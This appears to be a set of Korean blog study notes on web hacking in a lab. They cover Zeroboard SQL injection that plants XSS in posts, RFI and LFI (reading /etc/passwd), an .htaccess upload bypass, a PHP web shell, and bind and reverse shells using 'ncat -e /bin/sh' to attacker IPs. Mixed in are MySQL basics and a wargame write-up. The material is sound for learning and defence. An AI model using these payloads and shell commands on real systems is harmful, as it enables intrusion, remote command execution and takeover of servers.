예를들어 update구문을 이용해 게시글에 스크립트를 추가하도록 하는 것이다.
그렇게 되면 스크립트 차단을 해놨어도 우회할 수 있는 길이 생기게 된다.

먼저 게시글이 DB의 어떤 컬럼에 저장되는지 확인한다.



(게시글 내용)



확인해본 결과 게시글은 memo라는 컬럼에 데이터가 저장되는 것을 확인 할 수 있다.

우리는 그냥 update를 사용하면 원래 글 내용이 사라지므로
원래 글 뒷부분에 스크립트를 추가해보겠다.

이를 위해 concat이라는 함수가 있다.
바로 문자열을 연결해주는 함수이다.



(concat)



위 처럼 문자열을 연결해주는 역할을 한다.

우리는 이것을 이용하여
concat(memo, '스크립트') 를 사용할 것이다.

그렇게 되면 아래와 같은 url이 나온다.



(공격에 사용된 url)



실제 적용해보면
예상되는 쿼리는
update zetyx_board_gogo_test set download1=100, memo=concat(memo, '<script>alert(\'attack!!\') </script>')  #=download1=100#+1 where no='19';
이렇다.
게시글 뒷부분에 스크립트 코드가 추가되는 것이다.



(SQL Injection 실행)



실행 후 로그를 확인해보면



(로그 확인)



우리가 예상한 대로 SQL 명령이 전달 된 것을 확인 할 수 있다.

우리가 where 조건을 주지 않았기 때문에
모든 글에 스크립트가 들어가서


(XSS 공격)



XSS 공격 팝업 창이 뜰 것이다.

게시글의 코드를 확인해보면



(스크립트 코드 추가)



스크립트 코드가 추가된 것을 확인 할 수 있다.


간단하게 이러한 Injection을 막기 위해
magic_quotes_gpc 라는 설정을 켜둔다. GPC(Get, Post, Cookie)
하지만 5.4버전부터 이 설정이 사라져있다. (성능 때문에)

설정의 vi /etc/php.ini
파일에서 483번 라인을 On 해주면 된다.



(설정)



이렇게 되면 문자열 입력이 안된다.
한번 해보겠다.
단순히
download.php?id=gogo_test&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword

=&prev_no=&select_arrange=headnum&desc=asc&no=19&filenum=1=100,%20me

mo=concat(memo,'injection test !')%20%23
이렇게 게시글에 injection test! 문자열을 추가해볼것이다.



(SQL Injection)



실행 후 SQL 로그를 확인해 보면




(로그 확인)




' 쿼터 앞에 \ (역슬래쉬)가 붙은 것을 볼 수 있다.
그래서 '가 문자열의 역할을 못하게 되어 SQL Injection이 되지 않았다.

=> 문자열 인젝션은 따옴표를 적어줘야하는데
여기서 magic_quotes_gpc 설정을 해주면 문자열 따옴표가 escape되서
문자열을 나타내지 못하게 된다.
그러므로 문자열 인젝션이 불가능하게 된다.
하지만 이걸 켜주게 되면
모든 입력에 대해 전부 체크하게 된다.
-> 쿼리문이 없더라도 입력값을 전부 체크하기 때문에 성능이 떨어지게 된다.
그렇기 때문에 사라진 것이다. 만들때 함수를 이용하여 체크할 수 있도록 해둔 것이다.
=> 설정에서 빠진 이유이다.




저번 글에서 테이블 생성까지 CREATE 명령을 사용해보았다.

만들어진 테이블을 이용하여
DML 언어
- INSERT(추가/입력/삽입), SELECT(확인), UPDATE(수정), DELETE(삭제)를 공부해보겠다 :)

* INSERT
 mysql> insert into [테이블이름] values( colum1 value, colum2 value, ...);
 

숫자와 문자는 쿼터로 구분한다. '' 혹은 ""이 있으면 문자이다.



(insert 사용)



또다른 방법
 mysql> insert into [테이블이름]( colum_name, colum_name, ...) values( colum1 value, colum2 value, ...);
이 것은 어느 필드를 채워줄지 앞에서 써주는 것이다.
안써도 되지만 안쓰면 모든 필드를 입력하지 않으면 에러가 나온다.


(insert2 사용)





* SELECT
 - 내용을 화면에 출력하고자 할 때 사용한다.
 - DB내에서 사용하는 출력문이라고 생각하면 된다.

예를 들어 select 'hello'; 를 입력하면
hello 라고 출력이 된다.


(select)



DB에서 검색하여 출력할 때
mysql> select [필드이름] from [테이블이름];
필드 이름을 * 로 적으면 모든 필드가 출력이 된다.


(모든 필드 출력)



필드를 no로 지정해준 경우


(no_select)



select 구문 뒤에 where을 사용하여 조건을 추가시킬 수 도 있다.



(where 조건)





* UPDATE
 mysql> update [테이블이름] set [컬럼]=[값];
 -> 이렇게만 사용하면 전체 컬럼이 다 바뀌어버린다.
 mysql> update [테이블이름] set [컬럼]=[값] where 컬럼=값;



(where 조건(x))




조건이 없는 경우 위와 같이
모든 행의 데이터가 바뀐다.

예를 들어 성별이 M 인 행만 나이를 22 살로 업데이트하면



(update + 조건)



성별이 M인 행만 22로 바뀐 것을 확인 할 수 있다.





* DELETE
 - 행을 삭제하는 것이다.
 - 컬럼을 삭제하지는 못한다.
 - 컬럼을 삭제하는 것은 DDL로 삭제한다.
 - 특정 컬럼만 없애고 싶으면 UPDATE를 이용해야한다.
 - DELETE는 한 행을 삭제한다.

만약 delete를 사용하는데 뒤에 where 조건이 없다면
모든 데이터가 사라진다.



(조건(x) delete)



where 뒤에 조건을 주어 특정 행을 삭제 할 수 있다.

예를 들어 no가 3인 행을 삭제해 보겠다.



(행 삭제)



여기 까지 기초적인 SQL 공부였다. :)




오랜 만에 간단한 웹 문제를 풀어볼것이다.

오늘 푼 문제는 xcz.kr 의 18번문제 웹 문제이다.
아주 아주 아주 기본적인 문제라고 Title에 적혀있다..!

문제 화면이다.



(문제 화면)



설명에 소스보기를 클릭한다!
소스가 나와있다.
보니 php 코드로 이루어져있고
난독화가 되어있다.
변수 이름을 요상하게 지어놓은 것이다.



(소스 코드)



보기 힘드니
Notepad++ 를 받아서 여기서 코드를 확인하였다. (눈이 아프니까)

난독화 또한 풀어주었다.
아래는 난독화 풀은 코드이다.
난독화를 풀었다는 이야기는 내가 보기 쉽게 어려운 변수들을 쉬운 변수이름으로 바꾸어 놓았다는 뜻이다.



(문제 코드)



먼저 눈에 띄는 것은 아래 빨간 박스



(폼 체크?)



여기서 보면 쿠키값 c와 GET방식으로 전달받은 변수 g, 그리고 POST방식으로 전달받은 변수 p가 선언되어있고
이 값들이 비어있으면 Wrong T.T 가 나오게 되어있다.

우선 내가 이 3개의 값을 채워서 넘겨줘야한다는 것을 파악하였다.

쭉 소스코드를 이어서 보면
test function이 있다. 만약 아래에서 이 함수를 쓰지 않으면 무시했겠지만
아래 이 함수를 사용하니까 분석해보았다.



(test function)



이 함수는 변수를 받아서 특정 형태로 변형하는 것이다.
ord 함수는 문자를 아스키 코드로 변환하는 것이다.

ord 함수가 없다면 원래
test 변수가 들어가면
- t - e - s - t 이렇게 출력되는 함수이다.
즉 여기서 t의 아스키 값, e의 아스키값 ... 등으로 변환하여
 - t - e - s - t 값을 출력하는 함수이다.

아래 코드는 확대해서 봐야한다.
conn 이라고 내가 이름지어준 변수인데
위에서 보면
conn 변수는 $g . $cookieval; 으로
GET방식 변수와 쿠키값이 연결된 값이다.
또 twinp 변수는 $twinp = $p;  값으로 p와 같은 값이다.



(소스 코드)



이 코드를 분석하면
conn의 값이 test 함수에 들어가서 출력한 값이 위에 표시된 값인지 또는
twinp의 값이 위에 적혀있는 값인지 체크하여 맞으면 key를 보여준다.

GET 혹은 POST 둘 중 하나의 변수만 맞게 써줘도 되지만
뭐하러!
그냥 두개 다 정답을 보내겠다!

정리하면
conn에는 givemepassword  
twinp에는 keyplz!
의 값이 들어가면 된다.
conn은 g와 cookieval의 값을 연결한 것이므로 작전을 짜면

나는
cookie 값 c = passowrd 를
GET 변수 g = giveme 를
POST변수 p = keyplz! 를
넣어서 보내겠다.

먼저 쿠키 값을 설정할 것이다.
F12에서
아래와 같이 쿠키를 입력한다.



(쿠키 입력)





(입력된 모습)




그리고 POST 방식으로 보내려면
form 태그를 사용해야하므로
form 태그를 만들어준다.



(Form 태그 작성)



그리고 action 변수 url에 g의 값을 GET방식으로 동시에 전달하기 위하여
?g=giveme 를 적었다.
여기서 go 버튼을 누르면 이 값들이 전송되게 Form태그를 만들었다.

이제 이 태그를 한줄로 이어서 아래와 같이 입력해준다. (F12 콘솔에서)



(만들어진 코드)




(코드 입력)



입력하면 아래와 같이 go 버튼이 하나 나온다.



(go 버튼 클릭)



클릭을 하면 우리가 설정해주었던 값들이 전부 전달되고
아래와 같이 Key가 나오게 된다.


(정답 화면)


'WarGame > xcz.kr' 카테고리의 다른 글

xcz.kr - prob21(Web)  (0) 2017.02.24
xcz.kr - porb13 (network)  (0) 2017.02.03
xcz.kr - porb17 (network)  (0) 2017.02.03

저번 글 에서 PHP파일 업로드 취약점을 확인해보았다.
정리하면
1. 타겟 서버에 PHP 파일을 업로드 할 수 있고
2. 그 파일을 직접 접근이 가능하다.
이러한 조건이면 PHP 파일 업로드 취약점이라고 할 수 있다.

그렇기 때문에 요즘은 경로를 모르게 경로를 해쉬값으로 바꾸어 url에 집어 넣곤한다.
=> 그 파일에 대한 직접 접근을 제한하는 방법을 사용한 것이다.

오늘은 파일 업로드의 또 다른 유형을 알아보겠다.
만약 파일 업로드가 불가능 하다면?
그럴때 사용할 수 있는 것이 RFI  (Remote File Include 취약점) 이다.

현재는 취약점을 패치했지만 파일업로드 공격에 여러가지 유형으로 우회할 수 있다는
가능성을 이해하고자 한다.
이 공격 또한 파일 업로드 우회공격 중 하나이다.

* 리모트 파일 인클루드 취약점
-> PHP 파일 내에서 다른 PHP 파일의 소스코드를 포함시켜서 사용할 수 있는 기능을 이용한 것이다.

 -> 복사해서 그 자리다 붙여서 실행하는 효과이다.
공격에 사용할 수 있는 점은 바로..! 
-> 원격에 있는 php파일도 include 가능하다는 점이다..!!

즉 우리는 공격을 하기 위해 우리가 공격을 위한 서버를 하나 만들어서
거기다가 우리가 원하는 악성 PHP 파일을 업로드 한 후
Include를 이용하여 만들어놓은 서버의 파일을 불러서 실행시키면 되는 것이다.
 
그렇다면 먼저 취약점 코드를 확인해 보겠다.
1. 리모트 파일 인쿨루드 취약점이 있는 코드 확인

 /var/www/html/zboard/skin/zero_vote/error.php
 - 첫 번째 라인 코드
 <? include "$dir/value.php3"; ?>
 => 경로에 변수가 사용되고 있다.
 -> 이 변수를 조작하면 경로도 조작할 수 있다는 뜻이다.

바로 여기 $dir 변수를 GET방식으로 우리가 원하는 url 값을 넣어 전달해 줄 수 있다.
이유는 처음 우리가 제로보드 설치할 때 레지스터글로벌 설정을 On해두었기 때문이다.

 http://192.168.3.11/value.php3
 => url을 통해 인클루드 또한 가능하다.

악성 php파일 이름은 value.php3가 되면 된다. 코드를 보면 /value.php3이기 때문이다.
경로 : document root에다가.  (웹 홈 디렉터리로 경로를 전달할 거기 때문이다.)

코드 내용은
<?
 system('ifconfig');
?>
이렇다.

공격을 위한 서버에 위와 같은 파일을 올려둔다.
dir변수에 http://192.168.3.203  을 입력해서 던져주면
/var/www/html의 디렉터리에서 value.php3 파일을 Include 하게 된다.

=> 조금더 공격을 확실하게 하려면 공격 서버에는 PHP 모듈은 내려두는게 좋다.
이유는 include를 할 때 공격 서버에서 php가 실행되고 그 결과가 전달 될 때가 있기
때문이다.

취약점 발생 원인
=> dir 이라는 변수에 입력 검증이 없어서이다.

* 그래서 사실 원격 include를 꺼둔다 요즘은.

RFI 취약점 공격 조건
 - include, require, 등등
 - 입력값 검증의 부재
 - 객체에 대한 직접 접근

그렇다면 RFI 공격을 확인해보겠다.

먼저 취약점 코드를 확인해보겠다.!
취약점 코드는 /var/www/html/zboard/skin/zero_vote/error.php 에서 발견되었다.



(error.php 파일)



파일을 확인해보면
첫 번째 라인에서 확인해 볼 수 있다.



(취약점)


그렇다면 이 취약점이 존재하는 파일을 직접 접근이 가능할까?
바로 이게 공격이 가능할 두 번째 조건이기 때문에 확인이 필요하다.



(직접 접근)



직접 접근이 가능하다.!

공격을 시작해보겠다.

이 취약점을 이용해 공격 서버에
<?
system('ifconfig');
?>
코드를 올렸다. 파일이름은 value.php3로 웹 홈 디렉터리에다가..

그렇게 되면 만약 서버에서 이 코드가 실행되면
서버의 IP 주소가 보일 것이다.



(공격 화면)



dir 경로에 http://192.168.3.203  이라는 공격 서버의 IP주소를 던져주었다.
그러니
서버의 IP주소가 나온 것을 확인 할 수 있다.
바로 이 말은 서버에서 ifconfig가 실행 됬다는 것이다.

RFI 과 반대(?)로
LFI가 있다.

바로  로컬 파일 인클루드 취약점 (LFI)이다.
=> 원격 파일 인클루드가 꺼져있는 상황에서도 가능할 수는 있다.
LFI 취약점이 존재하는 파일을 일부러 만들어보겠다.
/var/www/html/vul.php   를 만든다. 코드는 아래와 같다.
<?
 include "auth/$file";
?>


(취약점 존재 파일 생성)




(코드)



위 코드를 보면 auth폴더에 파일이름은 $file 변수를 통해 입력 받는 것임을 확인 할 수 있다.

예를 들어 file변수에 login.php 값을 던져주면
auth/login.php 파일이 실행되는 것이다.



(동작 원리)



하지만 이를 통해 민감한 정보에 접근한다면??
바로..
file 변수 값에 ../../../../etc/passwd
를 입력하면..!



(공격 화면)



이렇게 서버의 정보들을 확인 할 수 있다.
웹쉘이랑 비슷한 개념이다.

그렇기에 LFI 취약점도 굉장히 위험한 취약점 중 하나이다.

이제 SQL을 이용한 취약점을 알아보겠다 :)

먼저 SQL을 이해해야한다.

SQL => Structured Query Langauage 
    - DB 표준언어이다.
    - DBMS마다 문법의 차이는 있다.
    - DBMS = 관계형 DB(MySQL, MariaDB, MsSQL, Oracle, DB2)
                                     (noSQL, ...)

* MySQL 쿼리 문 : 크게 6개 정도 있다. (그 외에도 더 많다.)

1) DDL : Data Definition Langauage
 - 데이터 정의어이다.
 - 실제 데이터를 조작하지는 못하는 쿼리이다.
 - DB, 테이블 생성 및 삭제를 한다.
 - ex) CREATE, DROP

2) DML : Data Manipulation Language
 - 데이터 조작어이다.
 - 실제 데이터를 변경/추가/삭제/확인 등이 가능한 쿼리이다.
 - ex) SELECT, INSERT, DELETE, UPDATE

3) DCL : Data Control Langauage
 - 데이터 제어어이다.
 - 권한, 트랜잭션, 등등의 역할을 한다.

* 주소록 DB를 만들어 볼 것이다. (SQL 이해)

1. DB 접속
#> mysql -u root -p
를 입력하고 비밀번호를 입력하여 접속을 한다.



(MySQL 접속)



2. 데이터베이스 확인 SHOW DATABASES;
데이터 베이스를 확인하기 위해서는
mysql> show databases;
를 입력하면 된다.



(데이터 베이스 목록)



3. DB 생성 : CREATE DATABASE
mysql> create database 디비이름;
mysql> create database address_list;



(DB 생성)



show databases 로 확인해 보겠다.



(생성 확인)



확인해보면 address_list가 생성된 것을 확인 할 수 있다.

4. DB 삭제 : DROP DATABASE
mysql> drop database 디비이름;
mysql> drop database address_list;

삭제하는 것이다.
전에 만들었던 test DB를 삭제해보겠다.



(DB 삭제)



삭제 된 것을 확인 할 수 있다.

5. 테이블 생성
mysql> create table 테이블이름( 컬럼 정보, ...);
으로 만들어줄 것이다.

만들어줄 열은
no(int), name( char(10) ), phone( char(20) ), age(int), gender( char(1) ), addr ( text )
이다.
괄호 안은 데이터 타입이다.

* 데이터 타입
숫자 : int, float, double
문자 : CHAR, VARCHAR, TEXT(입력된 데이터만큼 용량이 잡힌다. 가변 타입)
바이너리 :blob, longblob
시간, 날짜

먼저
mysql> use address_list;
를 입력하여 우리가 만든 DB로 들어간다.


(DB 접속)



그 후 아까 우리가 설계한 테이블 정보를 입력한다.
mysql> create table students( no int, name char(10), phone char(20), age int, gender char(1), addr text);



(테이블 생성)



테이블 확인은
mysql> show tables;
으로 테이블 목록을 볼 수 있고
mysql> desc [테이블이름];
으로 테이블 정보를 볼 수 있다.



(테이블 확인)


+ 테이블 삭제 DROP TABLE
mysql> drop table [테이블이름];





저번 글에서 파일 업로드 취약점을 공략하다가
.php 파일 확장자 업로드에서 막혀있었다.

오늘은 이러한 경우 우회할 수 있다는 가능성을 이해해보겠다.

저번 글에서 로컬설정 파일에 대한 이해가 되었다면
.htaccess 파일을 떠올릴 수 있을 것이다.

우리는 .htaccess 파일로 추가적인 설정을 해줄 것이다.
게시판에 업로드하면 data 폴더에 저장되는 것 또한 확인을 하였으니
data 폴더에 .htaccess 파일을 업로드하면 그 폴더 안에서 우리가 원하는 확장자를 php로 실행 시킬 수 있을 것이다.

우리는 .abc 라는 확장자가 php로 실행 될 수 있도록
AddHandler php5-script .abc
AddType text/html .abc
코드를 작성한 .htaccess 파일을 올릴 것이다.



(.htaccess 파일 작성)



(.htaccess 파일 생성)



자 이제 php로 실행이 되는지
php 코드를 작성해서 attack.abc를 올려보겠다.



(attack.abc 파일 작성)



아래와 같은 파일을 준비한다.



(준비 파일)



그리고 이 두 파일을 업로드 시켜준다.

업로드 되면
/data 폴더에 들어있을 것이므로
이제 /data 폴더에서 우리가 올렸던 attack.abc를 열어준다.



(attack.abc 실행)



(실행 된 모습)



확인해보니
php 파일이 실행되었다!

이로써 웹에 대한 충분한 이해가 있으면
취약점을 우회하는 방법도 여러가지 찾을 수 있다는 것을 알게 되었다.
앞으로 공부할 목표는 웹 취약점이라기 보다 웹에 대한 이해라고 보면 된다.


그렇다면 우리가 작성한 php 파일을 올린게 왜 치명적인걸까?
우리가 만든 php파일을 서버에 올릴 수 있다면
우리가 서버에 관해 못할게 없어진다.
그 가능성을 확인해 보겠다.

이제 웹 쉘이라는 개념을 이해해보자.
우리가 앞서 알아본 취약점을 공략하기 위해서 필요한 것은
입력할 곳. 이다.
다시 말하면
명령을 입력할 곳
바로 이게 쉘인데 웹 상에서 명령을 입력할 곳 이라는 의미로
웹쉘 이라고 불린다.

우리가 알아볼 것은 원격 쉘이다. 당연히 우리가 서버실에 잡입 침투하지 않을 것이므로 로컬 쉘에 대한 이야기는 아니다.

원격 쉘에 종류는 많지만 대표적으로 3가지가 있다.
1. 웹쉘
2. 바인드 쉘
3. 리버스 쉘

1. 웹쉘이란
웹에서 명령을 실행하는 것이다.
간단하게 웹쉘을 확인해 보겠다. (아주 간단히)

우리가 php코드를 올릴 수 있다는 것을 이용하여
아래와 같은 코드를 만들어 올린다고 해보자.


(웹 쉘 코드)



이 코드를 잘 보면 GET방식으로 받은 변수를
system 함수로 넘겨주고 있다.
즉 우리는 url을 통해 명령을 전달 할 수 있다.

확인을 위하여
이 파일을 업로드 해보겠다.


(웹쉘 테스트 파일)




업로드 후
cmd변수에 ls 명령을 전달했다.



(웹 쉘 확인)



ls 는 폴더 리스트를 확인하는 명령어인데
data 폴더에 있는 파일 리스트가 나오는 것을 확인 할 수 있다.

바로 이런 것이 웹 쉘이다.

2. 바인드 쉘
- 기본적으로 바인드 쉘은 TCP 통신을 이용한다.
정확히 말하면 원격 쉘은 TCP 통신을 주로 한다.
우리는 바인드 쉘을 확인하기 위하여 TCP통신을 하는 netcat이라는 프로그램을 이용할 것이다.

먼저
netcat을 실행해보겠다.
먼저 서버에서
#> ncat -l 12345
12345는 포트 번호이다. 열어줄 포트번호를 적어주면 된다.



(포트 개방)



그 후 윈도우 호스트에서
Desktop> nc.exe 100.100.100.129 12345
접속할 IP와 포트번호를 적어주면 된다.



(ncat 접속)



접속후 문자를 입력하면 문자열이
전송된다.


(문자열 전송)



기본적으로 이렇게 문자열을 전송하지만 옵션을 달리하여 이번에는
쉘을 연결해보겠다.
서버에서
#> ncat -e "/bin/sh" -l 12345
명령으로 포트를 열어준다.



(포트 개방)



그 후
윈도우 호스트에서
Desktop> nc.exe 100.100.100.129 12345
로 접속해준다.



(접속)



접속후 ls 라든가
기본 명령어를 입력하면
원격으로 쉘을 사용할 수 있게 된다.
바로! 이게 바인드 쉘이다.

3. 리버스 쉘
리버스 쉘이 나온 이유는 방화벽을 우회하기 위해서이다.
보통 서버에서 열어두어도 우리가 접속할 때 inbound 정책에 의하여
막히는 경우가 많다.
하지만 outbound 정책은 그렇게 심하지 않기 때문에 이 점을 이용한 것이다.
서버에서 우리한테 연결 요청을 하도록 하는 것이다.

바인드 쉘과 순서가 바뀐 것이다.
먼저 윈도우 호스트에서 포트를 열어주고
Desktop> nc.exe -l -p 12121



(포트 개방)



그 후 서버에서
# ncat -e "/bin/sh" 192.168.3.228 12121
을 이용하여 요청하게 하는 것이다.


(서버의 요청)



그러면 아까와 같이 쉘이 연결되어
원격 쉘을 사용할 수 있게 된다.



(원격 쉘 사용)



바로 이게 리버스 쉘이다.


리버스 쉘이 우리가 직접 서버에서 연결을 시켜줘서
간혹 이게 왜 취약한거지? 라고 생각이 들 수 있다.
하지만 웹쉘과 리버스 쉘을 같이 이용한다면???
이번엔 우리가 서버를 만지지 않고 쉘을 획득해보겠다.

먼저 윈도우 공격자의 호스트 포트를 열어준다.



(포트 개방)




그 후 아까 우리가 업로드 했던 웹 쉘을 이용하여
cmd 변수에
ncat -e "/bin/sh" 192.168.3.21 12121
우리의 IP 주소와 우리가 열었던 포트번호를 입력하여
넘겨준다.



(웹쉘 사용)



그렇게 되면
우리는 아까와 같이 리버스 쉘이 적용되어
원격 쉘을 이용할 수 있게 된다.


(원격 쉘 접속)




이렇듯
우리가 만든 php 파일이 웹 서버에 올릴 수 있다는 것은
엄청난 취약점이 된다.
이를 통해 시스템까지 침투할 수 있기 때문이다.


+ Recent posts